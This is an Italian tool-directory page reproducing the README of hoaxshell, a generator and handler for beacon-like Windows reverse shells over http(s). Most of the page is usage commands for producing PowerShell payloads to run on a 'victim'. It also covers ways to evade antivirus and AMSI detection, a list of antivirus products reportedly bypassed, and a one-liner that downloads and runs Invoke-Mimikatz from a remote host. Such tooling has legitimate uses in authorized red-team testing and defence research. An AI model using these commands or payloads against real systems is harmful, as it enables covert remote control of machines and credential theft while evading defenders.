Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
hoaxshell — Un generatore e gestore di payload per reverse shell Windows che abusa del protocollo http(s) per stabilire una reverse shell simile a un beacon. | Kitploit
Strumenti/GitHubGitHub/t3l3machus/hoaxshell
Escalation di PrivilegiGenerazione di PayloadExploitReverse EngineeringPost-ExploitPenetration TestingCommand and ControlRed Teaming
GitHubt3l3machus/hoaxshell

hoaxshell

Un generatore e gestore di payload per reverse shell Windows che abusa del protocollo http(s) per stabilire una reverse shell simile a un beacon.

Vedi Repository
3.5k5241 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

hoaxshell

Python License

⚡ L'ultima versione di questo progetto è l'HoaxShell standalone listener che include template di payload aggiornati. Puoi anche usarlo direttamente da https://revshells.com (assicurati di scegliere hoaxshell come listener).

⚠️ A partire dal 2022-10-18, hoaxshell viene rilevato da AMSI (malware-encyclopedia). Devi offuscare il payload generato per poterlo usare. Guarda questo video su come offuscare manualmente e bypassare MS Defender:

  • Esempio con Hoaxshell -> youtube.com/watch?v=iElVfagdCD4
  • Esempio con template comuni di reverse shell PowerShell -> youtube.com/watch?v=3HddKylkRzM

Purpose

hoaxshell è un generatore di payload e handler per reverse shell Windows che abusa del protocollo http(s) per stabilire una reverse shell simile a un beacon, basandosi sul seguente concetto:

image

Questo concetto c2 (che potrebbe essere implementato usando protocolli diversi da http o eseguibili preinstallati) può essere usato per stabilire sessioni che promuovono l'illusione di avere una shell, ma sono lontane da una vera pty.

HoaxShell se l'è cavata bene contro i software AV (controlla la tabella PoC di bypass AV per maggiori informazioni). Sebbene ora sia generalmente rilevato, è facile offuscare i payload generati usando strumenti automatici o manualmente.

Disclaimer: Realizzato esclusivamente per scopi di test e didattici. NON eseguire i payload generati da questo strumento contro host per i quali non hai esplicito permesso e autorizzazione a testare. Sei responsabile di qualsiasi problema possa derivare dall'uso di questo strumento.

Presentazioni video

[2022-10-11] Recente e fantastico, realizzato da John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demo della versione originale, realizzata da me -> youtube.com/watch?v=SEufgD5UxdU

Screenshot

image

Trovi altri screenshot qui.

Installazione

root@kitploit:~
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Utilizzo

Importante: Come mezzo per evitare il rilevamento, hoaxshell genera automaticamente valori casuali per l'ID di sessione, i percorsi URL e il nome di un header http personalizzato utilizzato nel processo, ogni volta che lo script viene avviato. Il payload generato funzionerà solo per l'istanza per cui è stato generato. Usa l'opzione -g per bypassare questo comportamento e ristabilire una sessione attiva o riutilizzare un payload generato in precedenza con una nuova istanza di hoaxshell.

Sessione shell di base su http

Quando esegui hoaxshell, genererà il proprio payload PowerShell da copiare e iniettare sulla vittima. Di default, il payload è codificato in base64 per comodità. Se hai bisogno del payload non elaborato, esegui il comando del prompt "rawpayload" o avvia hoaxshell con l'argomento -r. Dopo che il payload è stato eseguito sulla vittima, potrai eseguire comandi PowerShell contro di essa.

Payload che utilizza Invoke-Expression (predefinito)

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip>

Payload che scrive ed esegue comandi da un file

Usa -x per fornire un nome di file .ps1 (percorso assoluto) da creare sulla macchina vittima. Dovresti controllare il payload grezzo prima di eseguirlo, assicurandoti che il percorso fornito sia valido.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Utilizzo consigliato per evitare il rilevamento (su http)

Hoaxshell utilizza un header http per trasferire le informazioni sulla sessione della shell. Di default, all'header viene dato un nome casuale che può essere rilevato da regole AV basate su regex. Usa -H per fornire un nome standard o personalizzato per l'header http, per evitare il rilevamento.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Sessione shell crittografata (https + certificato autofirmato)

Questo particolare payload è un campanello d'allarme, poiché inizia con un blocco aggiuntivo di codice che istruisce PowerShell a saltare i controlli dei certificati SSL, il che lo rende sospetto e facile da rilevare, oltre a essere significativamente più lungo. Non consigliato.

root@kitploit:~
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

Sessione shell crittografata con un certificato attendibile

Se possiedi un dominio, usa questa opzione per generare un payload https più corto e meno rilevabile fornendo il tuo DN con -s insieme a un certificato attendibile (-c cert.pem -k privkey.pem).

root@kitploit:~
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

Modalità di recupero sessione

In caso tu chiuda accidentalmente il terminale, ci sia un blackout o altro, puoi avviare hoaxshell in modalità di recupero sessione; tenterà di ristabilire una sessione, dato che il payload è ancora in esecuzione sulla macchina vittima.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -g

Importante: Assicurati di avviare hoaxshell con le stesse impostazioni della sessione che stai cercando di ripristinare (http/https, porta, ecc.).

Supporto alla modalità Constraint Language

Usa una qualsiasi delle varianti di payload con l'opzione -cm (--constraint-mode) per generare un payload che funziona anche se la vittima è configurata per eseguire PS in modalità Constraint Language. Usando questa opzione, sacrifichi un po' della precisione di decodifica dello stdout della tua reverse shell.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -cm

image

Sessione shell su https tramite strumenti di tunneling (Ngrok / LocalTunnel)

Utilizza i programmi di tunneling Ngrok o LocalTunnel per ottenere sessioni attraverso tunnel sicuri, superando problemi come non avere un indirizzo IP statico o il tuo ISP che vieta il port forwarding.

Usa -ng o --ngrok per il server Ngrok

root@kitploit:~
sudo python3 hoaxshell.py -ng

Usa -lt o --localtunnel per il server LocalTunnel

root@kitploit:~
sudo python3 hoaxshell.py -lt

Limitazioni

La shell si bloccherà se esegui un comando che avvia una sessione interattiva. Esempio:

root@kitploit:~
# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

Quindi, se ad esempio volessi eseguire mimikatz tramite hoaxshell, dovresti invocare i comandi:

root@kitploit:~
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

In breve, devi fare attenzione a non eseguire un exe o cmd che avvia una sessione interattiva nel contesto PowerShell di hoaxshell.

PoC di bypass AV

Alcune persone fantastiche sono state così gentili da inviarmi/pubblicare video PoC dell'esecuzione dei payload di hoaxshell contro sistemi che eseguono soluzioni AV diverse da MS Defender, senza essere rilevati. Di seguito una tabella di riferimento con i link:

Importante: Non so se tu possa ancora usare hoaxshell in modo efficace per bypassare queste soluzioni. È ragionevole supporre che la rilevabilità cambierà presto (se non è già cambiata).

Novità

  • 13/10/2022 - Aggiunta l'opzione di supporto alla modalità Constraint Language (-cm).
  • 08/10/2022 - Aggiunte le opzioni -ng e -lt che generano payload PS per ottenere sessioni utilizzando gli strumenti di tunneling ngrok o localtunnel, al fine di aggirare limitazioni come indirizzi IP statici e port forwarding.
  • 06/09/2022 - Aggiunto un nuovo payload che scrive i comandi da eseguire in un file invece di utilizzare Invoke-Expression. Per usarlo, l'utente deve fornire un nome di file .ps1 (percorso assoluto) sulla macchina vittima tramite l'opzione -x.
  • 04/09/2022 - Sono state apportate modifiche per migliorare il meccanismo di consegna dei comandi, poiché includeva componenti che potevano essere facilmente segnalati. Aggiunte l'opzione -t insieme a https_payload_trusted.ps1. Ora puoi usare hoaxshell fornendo un nome di dominio insieme a un certificato attendibile. Questo genererà un payload https più corto e meno rilevabile.
  • 01/09/2022 - Aggiunta l'opzione che consente agli utenti di dare un nome personalizzato all'header (casuale di default) utilizzato nel processo di attacco, che trasporta l'ID di sessione della shell. Questo rende l'attacco meno rilevabile, ad esempio usando un nome di header standard come "Authorization".
Scarica lo strumento
Soluzione AVDataPoC
SentinelOne2022-10-18https://twitter.com/i/status/1582137400880336896
Norton2022-10-17https://twitter.com/i/status/1582278579244929024
Bitdefender2022-10-15https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop
McAfee2022-10-15https://twitter.com/i/status/1581605531365814273
Kaspersky2022-10-13https://www.youtube.com/watch?v=IyMH_eCC4Rk
Sophos2022-09-08https://www.youtube.com/watch?v=NYR0rWx4x8k
-H
  • 31/08/2022 - Aggiunta l'opzione -i che genera il payload PS modificato per usare Invoke-RestMethod invece dell'utilità Invoke-WebRequest, quindi ora l'utente può scegliere (grazie a questa issue). Ho anche corretto un bug presente nel prompt (a volte alterava il percorso).